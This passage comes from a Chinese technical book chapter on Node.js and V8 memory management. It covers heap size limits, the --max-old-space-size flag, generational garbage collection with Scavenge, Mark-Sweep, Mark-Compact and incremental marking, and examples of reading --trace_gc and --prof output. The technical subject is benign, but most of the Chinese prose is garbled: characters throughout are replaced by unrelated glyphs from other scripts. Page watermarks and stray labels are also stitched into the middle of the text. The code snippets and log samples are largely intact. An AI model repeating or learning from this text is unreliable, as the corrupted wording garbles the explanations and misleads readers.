请ය。在海量请ය的前ଡ下，开发者就ᭉ要Ꮵᘼ一些ࣰ࣡不会्੆ॕֽ的问题。本书写到这᧖ኪ

是ൣय᣿ᤈ服务٧端编程的ᮖ۪了，内ߚଌ҃ൣ是在海量请ය֖᫁时ᫍᤁᛠ的前ଡ下ᤈᛠ探ᝦ

的。在服务٧端，ᠪ源Փ౎就ࠩࠩڗ᧚，要为海量用ਖ਼服务，就३使一Ѭᠪ源都要高஌९环ѽ用。

在ኃ3ብ中，ࢿ不多已̭ፀ߸Node是ݟʹѽ用CPU֖I/O这ˏ个服务٧ᠪ源，Ꮺ本ብ̭࠱ፀ在Node

中ݟʹՋူ高஌ڠ使用内ߚ。 

5.1� V8 ⱘൗഒಲᬊᴎࠊϢݙᄬ䰤ࠊ 

我们在学习JavaScript编程时եឬ过，它与Java一样，由ٿڥۇ收机҃౎ᤈᛠ自动内ߚ管ူ，

这使३开发者不ᭉ要像C/C++程序տᥦ样在编写̼ᆉ的过程中时҈关ซ内ߚ的分ᦠ֖᧕உ问题。

ͭ在เ᜾٧中ᤈᛠ开发时，几˪很࠵有人能᥄到ٿڥۇ收对应用程序ౝ੆性能ॕֽ的情х。Node

极大ڠનࠔ了JavaScript的应用场景，ॆ ˞ึ应用场景从客ਖ਼端ढͨ到服务٧端之后，我们就能发

ဗ，对于性能ஏਕ的服务٧端程序，内ߚ管ူ的好ٿڥۇ、ڭ收࿃х是否优ᓡ，都会对服务ౝ੆

ॕֽ。Ꮺ在Node中，这一Ѭ都与Node的JavaScript੯ᛠल୲V8োো相关。 

 

第 � 章
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5.1.1� Node Ϣ V8 

Ԋ程中ሎ不开V8，੝以在߽ழ的˞页̭ፀ中就ଡ到Node是ࡘເԊԽ可以发ဗ，Node在发ٿ

一个ౝत在Chrome的JavaScriptᤁᛠ时上的ࣰԻ。2009年，Node的创始人Ryan Dahlᤤસ了V8౎作

为Node的JavaScript脚本ल୲，这ሎ不开ॆ时ᆲཎٽ起的ኃʻ次เ᜾٧大ੌ。ᥦ次大ੌ中，౎自

Google的Chromeเ᜾٧以Ф优ऩ的性能੆为ཤཁ。Chrome੆ҩ的ᐿ后ሎ不开JavaScriptल୲V8。

V8Ѣဗ后，JavaScript一இ它作为脚本语言性能ͯ下的्៵。在接下౎的性能ᡪ分中，V8૆续ᮖ

ᡪ至今。V8的性能优势使३用JavaScript写高性能后Ի服务程序੆为可能。在这样的ݎ机下，Ryan 

Dahlᤤસ了JavaScript，ᤤસ了V8，在事͇驱动、᭣᫽܊I/Oഴۋ的᝹᝟下实ဗ了Node。 

关于V8，它的౎Ԋ与ᐿ景̕是大有౎ܿ。作为ᘾ઱机，V8的性能ᛪဗ优ऩ，这与它的ᮖ࠭

者有ᖅ大的ຍ源，Chrome的੆ҩ也ሎ不开它ᐿ后的天才——Lars Bak。在Lars的工作࡞Ԋ᧖，绝

大部分都是与ᘾ઱机相关的工作。在开发V8之前，他డ经在SunМՂ工作，ઝ͉HotSpotڃ᫲的技

术ᮖ࠭，˞要ᒰҦ于开发高性能的Javaᘾ઱机。在这之前，他也డ为Self、Smalltalk语言开发过

高性能ᘾ઱机。这些௃与͟ඊ的经ԊᝧV8一Ѣˆ就ᡓᡔ了ॆ时੝有的JavaScriptᘾ઱机。 

Node在JavaScript的੯ᛠ上ᄯ接ԩᄝ于V8，可以ᬣ着V8的ӣጞ就能享ԩ到ఝ好的性能੊新的

语言ྱ性（ݟES5֖ES6）ኍ，Վ时也ԩ到V8的一些ᬌ҃，࠾Ф是本ብ要᧗ཁᝦ᝶的内ߚᬌ҃。 

5.1.2� V8 ⱘݙᄬ䰤ࠊ 

在一ᓉ的后端开发语言中，在۲本的内ߚ使用上没有̣˥ᬌ҃，ཨᏪ在Node中᤯过JavaScript

使用内ߚ时就会发ဗ只能使用部分内ߚ（64ͮ系统下ጝ为1.4 GB，32ͮ系统下ጝ为0.7 GB）。在

这样的ᬌ҃下，࠱会࠭ᒰNode௃กᄯ接ୱ作大内ߚ对៵，ඊݟ௃ก࠱一个2 GB的஠͇读入内ߚ

中ᤈᛠߙቿ˘分ౡူܪ，Ԁ使ྫྷူ内ߚ有32 GB。这样在Ӭ个Nodeᤈ程的情х下，᝟ኪ机的内ߚ

ᠪ源௃ก३到Ќᡛ的使用。 

ᤴ੆这个问题的˞要ԓ因在于Node۲于V8ౝत，੝以在Node中使用的JavaScript对៵۲本上

都是᤯过V8自己的ழय౎ᤈᛠ分ᦠ֖管ူ的。V8的这ݒ内ߚ管ူ机҃在เ᜾٧的应用场景下使

用起౎፠፠有余，ᡛ以ᑇ͉前端页᭦中的੝有ᭉය。ͭ 在Node中，这ԁᬌ҃了开发者ᬣ心੝ൗ使

用大内ߚ的想ก。 

ͭ，也不是࣡᜸的ᭉය场景ߚ管在服务٧端ୱ作大内ࡉ 有了ᬌ҃之后，我们的ᛠ为就ݟՎࣛ

着᪰ᨭ᡹ᓁ，ݟ౦在实ᬄ的应用中不小心触ᇋ到这个ႌᬌ，会ᤴ੆ᤈ程ᤝѢ。要ᅻ௳V8为ʹᬌ

҃了内ߚ的用量，Ѷᭉ要ॅٿ到V8在内ߚ使用上的ን႔。ᅻ௳Фԓူ后，才能ᥗБ问题并ఝ好

 。管ူߚᤈᛠ内ڠ

5.1.3� V8 ⱘᇍ䈵ߚ䜡 

在V8中，੝有的JavaScript对៵都是᤯过۶౎ᤈᛠ分ᦠ的。NodeଡΘ了V8中内ߚ使用量的ಉ

ᄹழय，੯ᛠ下᭦的̼ᆉ，࠱३到ᣤѢ的内ߚ信োὙ 
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$ node 
> process.memoryUsage(); 
{ rss: 14958592, 
  heapTotal: 7195904, 
  heapUsed: 2821496 } 

在上ᤗ̼ᆉ中，在memoryUsage()ழกᤄٿ的3个࡚性中，heapTotal֖heapUsed是V8的۶内ߚ

使用情х，前者是已ႁ请到的۶内ߚ，后者是ॆ前使用的量。至于rss为ʹ，我们在后续的内ࠓ

中会̭ፀ到。图5-1为V8的۶ᇧ਒图Ὑ 

 

图5-1 V8的۶ᇧ਒图 

ॆ我们在̼ᆉ中ܥ௙Ԫ量并ᠱϘ时，੝使用对៵的内ߚ就分ᦠ在۶中。ݟ౦已ႁ请的۶ቆ᫋

内ߚ不ܴ分ᦠ新的对៵，࠱继续ႁ请۶内ߚ，ᄯ到۶的大小ᡓ过V8的ᬌ҃为ൢ。 

至于V8为ʹ要ᬌ҃۶的大小，ᛪࡎԓ因为V8最初为เ᜾٧Ꮺ᝹᝟，不ܹ可能᥄到用大量内

。收机҃的ᬌ҃ٿڥۇԓ因是V8的ࡎ的场景。对于网页౎ឬ，V8的ᬌ҃Ϙ已经፠፠有余。深ߚ

૊߽ழ的ឬก，以1.5 GB的ٿڥۇ收۶内ߚ为Β，V8做一次小的ٿڥۇ收ᭉ要50ඒሙ以上，做一

次᭣ܘ量य的ٿڥۇ收甚至要1ሙ以上。这是ٿڥۇ收中ल起JavaScript线程ఆϢ੯ᛠ的时ᫍ，在

这样的时ᫍᔈᩘ下，应用的性能ֽ֖应能Ҧ都会ᄯ线下ᬋ。这样的情х不仅仅后端服务௃ก接ԩ，

前端เ᜾٧也௃ก接ԩ。因൤，在ॆ时的Ꮵᘼ下ᄯ接ᬌ҃۶内ߚ是一个好的ᤤસ。 

ॆཨ，这个ᬌ҃也不是不能੩开，V8ΙཨଡΘ了ᤤᮉᝧ我们使用ఝ多的内ߚ。Node在ը动

时可以͛ᤫ--max-old-space-size੊--max-new-space-size౎ុஞ内ߚᬌ҃的大小，ᇧΒݟ下Ὑ 

node --max-old-space-size=1700 test.js // 单位为MB 
// ई者 
node --max-new-space-size=1024 test.js // 单位为KB 

上ᤗԟ数在V8初始Ӑ时生஌，一ெ生஌就不能в动খஇԪ。ݟ౦᥄到Node௃ก分ᦠᡛܴ内

ᬌ҃，ᥗБ在੯ᛠ过程中ሮॱߚV8᳭认的内ࠔፋJavaScript对៵的情х，可以用这个办ก౎உߚ

多用了一些内ߚ就ᣏ௛࢜ຳ。 

接下౎，ᝧ我们ఝ深入ڠ了解V8在ٿڥۇ收ழ᭦的ን႔。在ᬌ҃的前ଡ下，ࣛ着᪰ᨭ᡹Ѣ

的ᓁᢛ并不一定就ᬱᄹ。 

5.1.4� V8 ⱘൗഒಲᬊᴎࠊ 

在ࡘ开̭ፀV8的ٿڥۇ收机҃前，有ॸ要ኤ႔̭ፀ下V8用到的Չሗٿڥۇ收ኪก。 

1. V8Џ㽕ⱘൗഒಲᬊㅫ⊩ 
V8的ٿڥۇ收ን႔˞要۲于分̼यٿڥۇ收机҃。在自动ٿڥۇ收的໥Ԫ过程中，人们发

ဗ没有一ሗٿڥۇ收ኪก能ܴᑇ͉੝有的场景。因为在实ᬄ的应用中，对៵的生ߚֆయ᫁ᆀ不一，
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不Վ的ኪก只能᧪对ྱ定情хХ有最好的஌౦。为൤，统᝟学在ٿڥۇ收ኪก的发ࡘ中产生了ᣖ

大的作用，ဗ̼的ٿڥۇ收ኪก中૊对៵的ߚ活时ᫍ࠱内ߚ的ٿڥۇ收ᤈᛠ不Վ的分̼，ཨ后分

Ѿ对不Վ分̼的内ߚஶ以ఝ高஌的ኪก。 

z V8的Юߚѫ̼ 

在V8中，˞要࠱内ߚ分为新生̼֖Ꮴ生̼ˏ̼。新生̼中的对៵为ߚ活时ᫍᣖᆀ的对៵，

Ꮴ生̼中的对៵为ߚ活时ᫍᣖ᫁੊࣡᯾内ߚ的对៵。图5-2为V8的分̼ᇧ਒图。 

 

图5-2 V8的分̼ᇧ਒图 

V8۶的ஞͳ大小就是新生̼੝用内ߚቆᫍ加上Ꮴ生̼的内ߚቆᫍ。前᭦我们ଡԢ的

--max-old-space-size̽֐ᛠԟ数可以用于᝹ᎵᏤ生̼内ߚቆᫍ的最大Ϙ，--max-new-space-size

ቆᫍ的大小的。ඊᣖ᥋ਲ਼的是，这ˏ个最大Ϙᭉ要在ը动时就ߚᛠԟ数Ѷ用于᝹Ꮅ新生̼内̽֐

ૈ定。这਒։着V8使用的内ߚ没有办ก಩૵使用情х自动ੰЌ，ॆ内ߚ分ᦠ过程中ᡓ过极ᬌϘ

时，就会ल起ᤈ程Ѣᩱ。 

前᭦ଡ到过，在᳭认᝹Ꮅ下，ݟ౦一ᄯ分ᦠ内ߚ，在64ͮ系统֖32ͮ系统下会分Ѿ只能使用

ጝ1.4 GB֖ጝ0.7 GB的大小。这个ᬌ҃可以从V8的源ᆉ中੼到。在下᭦的̼ᆉ中，Page::kPageSize

的Ϙ为1MB。可以ᄹ到，Ꮴ生̼的᝹Ꮅ在64ͮ系统下为1400 MB，在32ͮ系统下为700 MBὙ 

// semispace_size_ should be a power of 2 and old_generation_size_ should be 
// a multiple of Page::kPageSize 
#if defined(V8_TARGET_ARCH_X64) 
#define LUMP_OF_MEMORY (2 * MB) 
      code_range_size_(512*MB), 
#else 
#define LUMP_OF_MEMORY MB 
      code_range_size_(0), 
#endif 
#if defined(ANDROID) 
      reserved_semispace_size_(4 * Max(LUMP_OF_MEMORY, Page::kPageSize)), 
      max_semispace_size_(4 * Max(LUMP_OF_MEMORY, Page::kPageSize)), 
      initial_semispace_size_(Page::kPageSize), 
      max_old_generation_size_(192*MB), 
      max_executable_size_(max_old_generation_size_), 
#else 
      reserved_semispace_size_(8 * Max(LUMP_OF_MEMORY, Page::kPageSize)), 
      max_semispace_size_(8 * Max(LUMP_OF_MEMORY, Page::kPageSize)), 
      initial_semispace_size_(Page::kPageSize), 
      max_old_generation_size_(700ul * LUMP_OF_MEMORY), 
      max_executable_size_(256l * LUMP_OF_MEMORY), 
#endif 

对于新生̼内ߚ，它由ˏ个reserved_semispace_size_੝ౝ੆，后᭦࠱ଠᤗФԓ因。૊机٧

ͮ数不Վ，reserved_semispace_size_在64ͮ系统֖32ͮ系统上分Ѿ为16 MB֖8 MB。੝以新生

̼内ߚ的最大Ϙ在64ͮ系统֖32ͮ系统上分Ѿ为32 MB֖16 MB。 
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V8۶内ߚ的最大γ႐ቆᫍ可以从下᭦的̼ᆉ中ᄹѢ౎，ФМय为4 * reserved_semispace_ 

size_ + max_old_generation_size_Ὑ�

  // Returns the maximum amount of memory reserved for the heap.  For 
  // the young generation, we reserve 4 times the amount needed for a 
  // semi space.  The young generation consists of two semi spaces and 
  // we reserve twice the amount needed for those in order to ensure 
  // that new space can be aligned to its size 
  intptr_t MaxReserved() { 
    return 4 * reserved_semispace_size_ + max_old_generation_size_; 
  } 

因൤，᳭认情х下，V8۶内ߚ的最大Ϙ在64ͮ系统上为1464 MB，32ͮ系统上Ѷ为732 MB。

这个数Ϙ可以解᧕为ʹ在64ͮ系统下只能使用ጝ1.4 GB内֖ߚ在32ͮ系统下只能使用ጝ0.7 GB

内ߚ。 

z Scavengeኪก 

在分̼的۲ᆨ上，新生̼中的对៵˞要᤯过Scavengeኪกᤈᛠٿڥۇ收。在Scavenge的Хͳ

实ဗ中，˞要᧓用了Cheneyኪก，ឞኪก由C. J. Cheney于1970年ᯪ次发ᛪ在ACM᝶஠上。 

Cheneyኪก是一ሗ᧓用复҃的ழय实ဗ的ٿڥۇ收ኪก。它۶࠱内ߚ一分为̃，ඇ一部分ቆ

ᫍሥ为semispace。在这ˏ个semispaceቆᫍ中，只有一个ܪ于使用中，Բ一个ܪ于᫋Ꮅ࿃খ。ܪ

于使用࿃খ的semispaceቆᫍሥ为Fromቆᫍ，ܪ于᫋Ꮅ࿃খ的ቆᫍሥ为Toቆᫍ。ॆ我们分ᦠ对៵

时，Ў是在Fromቆᫍ中ᤈᛠ分ᦠ。ॆ开始ᤈᛠٿڥۇ收时，会೜ಉFromቆᫍ中的ߚ活对៵，这

些ߚ活对៵࠱ᜁ复҃到Toቆᫍ中，Ꮺ᭣ߚ活对៵ӳ用的ቆᫍ࠱会ᜁ᧕உ。߸੆复҃后，Fromቆ

֖ᫍToቆᫍ的ᝇᓣ发生对૰。ኤᏪ言之，在ٿڥۇ收的过程中，就是᤯过ߚ࠱活对៵在ˏ个

semispaceቆᫍ之ᫍᤈᛠ复҃。 

Scavenge的Ꭴཁ是只能使用۶内ߚ中的一Ӧ，这是由Ѳ分ቆ֖ᫍ复҃机҃੝决定的。ͭ

Scavenge由于只复҃ߚ活的对៵，并且对于生֐ֆయᆀ的场景ߚ活对៵只ӳ࠵部分，੝以它在时

ᫍ஌ည上有优ऩ的ᛪဗ。 

由于Scavenge是Цۋ的ྲྯቆᫍ૰Ԩ时ᫍ的ኪก，੝以௃ก大᜺ഴڠ应用到੝有的ٿڥۇ收

中。ͭ可以发ဗ，Scavenge᭣࣡᤟Ջ应用在新生̼中，因为新生̼中对៵的生֐ֆయᣖᆀ，ৌৌ

᤟Ջ这个ኪก。 

是஋，V8的۶内ߚᇧ਒图应ॆݟ图5-3੝ᇧ。 

 

图5-3 V8的۶内ߚᇧ਒图 

实ᬄ使用的۶内ߚ是新生̼中的ˏ个semispaceቆᫍ大小֖Ꮴ生̼੝用内ߚ大小之֖。 

ॆ一个对៵经过多次复҃Ιཨߚ活时，它࠱会ᜁ认为是生֐ֆయᣖ᫁的对៵。这ሗᣖ᫁生֐
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ֆయ的对៵ᬣ后会ᜁሧ动到Ꮴ生̼中，᧓用新的ኪกᤈᛠ管ူ。对៵从新生̼中ሧ动到Ꮴ生̼中

的过程ሥ为௯ӣ。 

在Ӭጥ的Scavenge过程中，Fromቆᫍ中的ߚ活对៵会ᜁ复҃到Toቆᫍ中Ԝ，ཨ后对Fromቆ

֖ᫍToቆᫍᤈᛠᝇᓣ对૰（ԠሥᏡᣀ）。ͭ在分̼यٿڥۇ收的前ଡ下，Fromቆᫍ中的ߚ活对

៵在复҃到Toቆᫍ之前ᭉ要ᤈᛠ೜ಉ。在一定్͇下，ᭉ要ߚ࠱活ֆయ᫁的对៵ሧ动到Ꮴ生̼中，

也就是߸੆对៵௯ӣ。 

对៵௯ӣ的్͇˞要有ˏ个，一个是对៵是否经Ԋ过Scavengeٿ收，一个是Toቆᫍ的内ߚӳ

用ඊᡓ过ᬌ҃。 

在᳭认情х下，V8的对៵分ᦠ˞要ᬶ中在Fromቆᫍ中。对៵从Fromቆᫍ中复҃到Toቆᫍ时，

会೜ಉ它的内ڦڠߚ౎ѻற这个对៵是否已经经Ԋ过一次Scavengeٿ收。ݟ౦已经经Ԋ过了，会

图ݟ౦没有，Ѷ复҃到Toቆᫍ中。这个௯ӣึ程ݟ，ឞ对៵从Fromቆᫍ复҃到Ꮴ生̼ቆᫍ中࠱

5-4੝ᇧ。 

 

图5-4 ௯ӣึ程 

Բ一个ѻற్͇是Toቆᫍ的内ߚӳ用ඊ。ॆ要从Fromቆᫍ复҃一个对៵到Toቆᫍ时，ݟ౦

Toቆᫍ已经使用了ᡓ过25%，Ѷ这个对៵ᄯ接௯ӣ到Ꮴ生̼ቆᫍ中，这个௯ӣ的ѻறᇧ਒图ݟ图

5-5੝ᇧ。 

 

图5-5 ௯ӣ的ѻறᇧ਒图 
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᝹Ꮅ25%这个ᬌ҃Ϙ的ԓ因是ॆ这次Scavengeٿ收߸੆后，这个Toቆᫍ࠱Ԫ੆Fromቆᫍ，接

下౎的内ߚ分ᦠ࠱在这个ቆᫍ中ᤈᛠ。ݟ౦ӳඊ过高，会ॕֽ后续的内ߚ分ᦠ。 

对៵௯ӣ后，࠱会在Ꮴ生̼ቆᫍ中作为ߚ活ֆయᣖ᫁的对៵౎对य़，接ԩ新的ٿ收ኪกူܪ。 

z Mark-Sweep & Mark-Compact 
对于Ꮴ生̼中的对៵，由于ߚ活对៵ӳᣖ大ඊ᧗，в᧓用Scavenge的ழय会有ˏ个问题Ὑ一

个是ߚ活对៵ᣖ多，复҃ߚ活对៵的஌ည࠱会很ͯ὚Բ一个问题Ιཨ是ํ᠟一Ӧቆᫍ的问题。这

ˏ个问题࠭ᒰ应对生֐ֆయᣖ᫁的对៵时Scavenge会௬३૥ᜱ᜸ᐟ。为൤，V8在Ꮴ生̼中˞要᧓

用了Mark-Sweep֖Mark-Compact相ፆՋ的ழयᤈᛠٿڥۇ收。 

Mark-Sweep是ಕ᝭ຌᬓ的਒ধ，它分为ಕ᝭֖ຌᬓˏ个᫼ൿ。与Scavenge相ඊ，Mark-Sweep

并不࠱内ߚቆᫍѲ分为ˏӦ，੝以不ߚ在ํ᠟一Ӧቆᫍ的ᛠ为。与Scavenge复҃活着的对៵不Վ，

Mark-Sweep在ಕ᝭᫼ൿ遍Ԋ۶中的੝有对៵，并ಕ᝭活着的对៵，在ᬣ后的ຌᬓ᫼ൿ中，只ຌᬓ

没有ᜁಕ᝭的对៵。可以ᄹѢ，Scavenge中只复҃活着的对៵，ᏪMark-Sweep只ຌူ൪̑对៵。

活对៵在新生̼中只ӳᣖ小部分，൪对៵在Ꮴ生̼中只ӳᣖ小部分，这是ˏሗٿ收ழय能高஌ܪ

ူ的ԓ因。图5-6为Mark-Sweep在Ꮴ生̼ቆᫍ中ಕ᝭后的ᇧ਒图，ᳫᓣ部分ಕ᝭为൪̑的对៵。 

 

图5-6 Mark-Sweep在Ꮴ生̼ቆᫍ中ಕ᝭后的ᇧ਒图�

Mark-Sweep最大的问题是在ᤈᛠ一次ಕ᝭ຌᬓٿ收后，内ߚቆᫍ会Ѣဗ不ᤋ续的࿃খ。这ሗ

内ߚᆾྞ会对后续的内ߚ分ᦠᤴ੆问题，因为很可能Ѣဗᭉ要分ᦠ一个大对៵的情х，这时੝有

的ᆾྞቆᫍ都௃ก߸੆൤次分ᦠ，就会ଡ前触发ٿڥۇ收，Ꮺ这次ٿ收是不ॸ要的。 

为了解决Mark-Sweep的内ߚᆾྞ问题，Mark-CompactᜁଡѢ౎。Mark-Compact是ಕ᝭ஞူ

的਒ধ，是在Mark-Sweep的۲ᆨ上໥ԪᏪ౎的。它们的ࢿѾ在于对៵在ಕ᝭为൪̑后，在ஞူ的

过程中，࠱活着的对៵ज़一端ሧ动，ሧ动߸੆后，ᄯ接ຌူ૿᣷ႌ外的内ߚ。图5-7为Mark-Compact

߸੆ಕ᝭并ሧ动ߚ活对៵后的ᇧ਒图，ᄆᓣಪߔ为ߚ活对៵，深ᓣಪߔ为൪̑对៵，ุᓣಪߔ为

 。活对៵ሧ动后႐下的ቆวߚ

 

图5-7 Mark-Compact߸੆ಕ᝭并ሧ动ߚ活对៵后的ᇧ਒图 
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߸੆ሧ动后，就可以ᄯ接ຌᬓ最Ծ᣷的ߚ活对៵后᭦的内ߚ区۪߸੆ٿ收。 

这᧖࠱Mark-Sweep֖Mark-CompactፆՋ着̭ፀ不仅仅是因为ˏሗን႔是ᤫᤈ关系，在V8的

 。收ኪก的ኤӬ对ඊٿڥۇ收ን႔中ˏ者是ፆՋ使用的。ᛪ5-1是目前̭ፀ到的3ሗ˞要ٿ

㸼5-1� 3⾡ൗഒಲᬊㅫ⊩ⱘㅔऩᇍ↨ 

ಲᬊㅫ⊩ Mark-Sweep Mark-Compact Scavenge 

ᤳऎ 中ኍ 最ਤ 最ঋ 

ቆᫍ开ᩘ ࠵（有ᆾྞ） ࠵（௃ᆾྞ） Ԥυቆᫍ（௃ᆾྞ） 

是否ሧ动对៵ 否 是 是 

从ᛪ5-1中可以ᄹ到，在Mark-Sweep֖Mark-Compact之ᫍ，由于Mark-Compactᭉ要ሧ动对៵，

੝以它的੯ᛠᤳऎ不可能很ঋ，੝以在Ԩᒻ上，V8˞要使用Mark-Sweep，在ቆᫍ不ᡛ以对从新

生̼中௯ӣ过౎的对៵ᤈᛠ分ᦠ时才使用Mark-Compact。 

z Incremental Marking 
为了ᥗБѢဗJavaScript应用᤾ᣣ与ٿڥۇ收٧ᄹ到的不一ᒰ的情х，ٿڥۇ收的3ሗ۲本ኪ

ก都ᭉ要࠱应用᤾ᣣఆϢ下౎，य़੯ᛠ߸ٿڥۇ收后вু复੯ᛠ应用᤾ᣣ，这ሗᛠ为ᜁሥ为þК

Ϣᮏÿ（stop-the-world）。在V8的分̼यٿڥۇ收中，一次小ٿڥۇ收只收ᬶ新生̼，由于新生

̼᳭认ᦠᎵ३ᣖ小，且Ф中ߚ活对៵᤯࣡ᣖ࠵，੝以ԀΦ它是КϢᮏ的ॕֽ也不大。ͭV8的Ꮴ

生̼᤯࣡ᦠᎵ३ᣖ大，且ߚ活对៵ᣖ多，К۶ٿڥۇ收（full ٿڥۇ收）的ಕ᝭、ຌူ、ஞူኍ

动作ᤴ੆的Ϣᮏ就会ඊᣖ可ঢ，ᭉ要᝹กஇؒ。 

为了ᬋͯК۶ٿڥۇ收ࣛ౎的Ϣᮏ时ᫍ，V8Ў从ಕ᝭᫼ൿ入੣，࠱ԓ本要一ԯචϢᮏ߸੆

的动作இ为ܘ量ಕ᝭（incremental marking），也就是ઞ分为᝴多小þ൥ᤈÿ，ඇ做߸一þ൥ᤈÿ

就ᝧJavaScript应用᤾ᣣ੯ᛠ一小会Ї，ٿڥۇ收与应用᤾ᣣ̓ఢ੯ᛠᄯ到ಕ᝭᫼ൿ߸੆。图5-8

为ܘ量ಕ᝭ᇧ਒图。 

 

图5-8 ܘ量ಕ᝭ᇧ਒图 

V8在经过ܘ量ಕ᝭的இᤈ后，ٿڥۇ收的最大Ϣᮏ时ᫍ可以ђ࠵到ԓ本的1/6ࢺԾ。 

V8后续还ल入了ढᤌຌူ（lazy sweeping）与ܘ量यஞူ（incremental compaction），ᝧຌ

ူ与ஞူ动作也Ԫ੆ܘ量य的。Վ时还᝟Ѳल入并ᛠಕ᝭与并ᛠຌူ，ᤈ一൥ѽ用多ನ性能ᬋͯ

ඇ次Ϣᮏ的时ᫍ。᧜于ኼࣧ有ᬌ，൤ܪ不в深入ᝮ解了。 

2. ᇣ㒧 
从V8的自动ٿڥۇ收机҃的᝹᝟ᝇऎ可以ᄹ到，V8对内ߚ使用ᤈᛠᬌ҃的ᎅ由。新生̼᝹

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

15518
线条

15518
线条

15518
线条

15518
线条

15518
线条

15518
线条



5.1� V8 的ٿڥۇஅ఺҃ˀЮߚᬌ҃� � 119 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

᝟为一个ᣖ小的内ߚቆᫍ是Ջူ的，ᏪᏤ生̼ቆᫍ过大对于ٿڥۇ收并௃ྱѾ਒˦。V8对内ߚ

ᬌ҃的᝹Ꮅ对于Chromeเ᜾٧这ሗඇ个ᤤᮉӴ页᭦使用一个V8实ΒᏪ言，内ߚ的使用是፠፠有

余了。对于Node编写的服务٧端౎ឬ，内ߚᬌ҃也并不ॕֽൣ࣡场景下的使用。ͭ是对于V8的

收是ॕֽ性能的因ገ之一。想要高性能ٿڥۇ，收ྱཁ֖JavaScript在Ӭ线程上的੯ᛠ情хٿڥۇ

的੯ᛠ஌ည，ᭉ要ซ਒ᝧٿڥۇ收ࡉ量ڠ࠵ᤈᛠ，࠾Ф是К۶ٿڥۇ收。 

以Web服务٧中的会ព实ဗ为Β，一ᓉ᤯过内ߚ౎ߚϱ，ͭ在᝺问量大的时候会࠭ᒰᏤ生̼

中的ߚ活对៵ᰠܘ，不仅ᤴ੆ຌူ/ஞူ过程᠟时，还会ᤴ੆内ߚጊष，甚至ຼѢ（ស情可ԟ᜸

ኃ8ብ）。 

5.1.5� ᶹⳟൗഒಲᬊ᮹ᖫ 

ಉᄹٿڥۇ收௅ং的ழय˞要是在ը动时ຊ加--trace_gcԟ数。在ᤈᛠٿڥۇ收时，࠱会从

ಕэᣤѢ中੩Ӿٿڥۇ收的௅ং信ো。下᭦是一ൿᇧΒ，੯ᛠፆో后，࠱会在gc.log஠͇中३到

੝有ٿڥۇ收信োὙ 

node --trace_gc -e "var a = [];for (var i = 0; i < 1000000; i++) a.push(new Array(100));" > gc.log 

下᭦是我੔Ԩ的ٿڥۇ收௅ং中的部分᧗要内ࠓὙ 

[2489]       19 ms: Scavenge 1.9 (34.0) -> 1.8 (35.0) MB, 1 ms [Runtime::PerformGC]. 
... 
[2489]       36 ms: Mark-sweep 9.1 (40.0) -> 9.0 (44.0) MB, 10 ms [Runtime::PerformGC] [promotion limit 
reached]. 
... 
[2489] Limited new space size due to high promotion rate: 1 MB 
... 
[2489] Increasing marking speed to 3 due to high promotion rate 
... 
[2489]      107 ms: Mark-sweep 38.4 (73.0) -> 38.0 (74.0) MB, 3 ms (+ 23 ms in 63 steps since start 
of marking, biggest step 0.284180 ms) [Runtime::PerformGC] [promotion limit reached]. 
... 
[2489]      188 ms: Mark-sweep 63.8 (100.0) -> 63.4 (100.0) MB, 45 ms [Runtime::PerformGC] [GC in old 
space requested]. 
... 
[2489]      395 ms: Scavenge 182.9 (220.3) -> 182.9 (221.3) MB, 1 ms (+ 2 ms in 7 steps since last GC) 
[Runtime::PerformGC] [incremental marking delaying mark-sweep]. 
... 

᤯过分ౡٿڥۇ收௅ং，可以了解ٿڥۇ收的ᤁᛠ࿃х，੼Ѣٿڥۇ收的ג些᫼ൿඊᣖᏱ时，

触发的ԓ因是̣˥。 

᤯过在Nodeը动时使用--profԟ数，可以३到V8੯ᛠ时的性能分ౡ数૵，Ф中包դ了ڥۇ

ߚ以下̼ᆉ࠱部Ԫ量a，这᧖ࡌФ分ᦠፋ࠱收੯ᛠ时ӳ用的时ᫍ。下᭦的̼ᆉ不ற创त对៵并ٿ

为test01.js஠͇Ὑ 

for (var i = 0; i < 1000000; i++) { 
  var a = {}; 
} 
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ཨ后੯ᛠ以下̽֐Ὑ 

$ node --prof test01.js 

这࠱会在目े下३到一个v8.log௅ং஠͇。ឞ௅ং஠͇۲本不Хܫ可读性，内ࠓ大ᒰݟ下Ὑ 

code-creation,LazyCompile,0x1dd61958ec00,396," 
/Users/jacksontian/git/diveintonode/examples/05/test01.js:1",0x38c53b008370,~ 
tick,0x10031daaa,0x7fff5fbfe4c0,0,0x34bb,2,0x1dd61958eb3e,0x1dd6195688bf,0x1dd6195689e5,0x1dd61956
7599,0x1dd619566efc,0x1dd619568e4b,0x1dd61952e78a 
code-creation,LazyCompile,0x1dd61958eda0,532," 
/Users/jacksontian/git/diveintonode/examples/05/test01.js:1",0x38c53b008370,* 
tick,0x1dd61958eecd,0x7fff5fbff3b8,0,0x16e3f,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599,0x1dd6
19566efc,0x1dd619568e4b,0x1dd61952e78a 
tick,0x1dd61958ee55,0x7fff5fbff3b8,0,0x5082a,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599,0x1dd6
19566efc,0x1dd619568e4b,0x1dd61952e78a 
tick,0x1dd61958ee77,0x7fff5fbff3b8,0,0x8c593,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599,0x1dd6
19566efc,0x1dd619568e4b,0x1dd61952e78a 
tick,0x1dd61958ee71,0x7fff5fbff3b8,0,0xc8717,0,0x1dd6195688bf,0x1dd6195689e5,0x1dd619567599,0x1dd6
19566efc,0x1dd619568e4b,0x1dd61952e78a 
code-creation,StoreIC,0x1dd61958efc0,185,"loaded" 

੝ࣳ，V8ଡΘ了 linux-tick-processor工Х用于统᝟௅ং信ো。ឞ工Х可以从Node源ᆉ的

deps/v8/tools目े下੼到，Windows下的对应̽֐஠͇为windows-tick-processor.bat。࠱ឞ目ेຊ

加到环境Ԫ量PATH中，Ԁ可ᄯ接ុ用Ὑ 

$ linux-tick-processor v8.log 

下᭦为我౼次ᤁᛠ௅ং的统᝟ፆ౦Ὑ 

Statistical profiling result from v8.log, (37 ticks, 1 unaccounted, 0 excluded). 
 
 [Unknown]: 
   ticks  total  nonlib   name 
      1    2.7% 
 
 [Shared libraries]: 
   ticks  total  nonlib   name 
     28   75.7     0.0   /usr/local/bin/node% %  
      2    5.4     0.0   /usr/lib/system/libsystem_kernel.dylib% %  
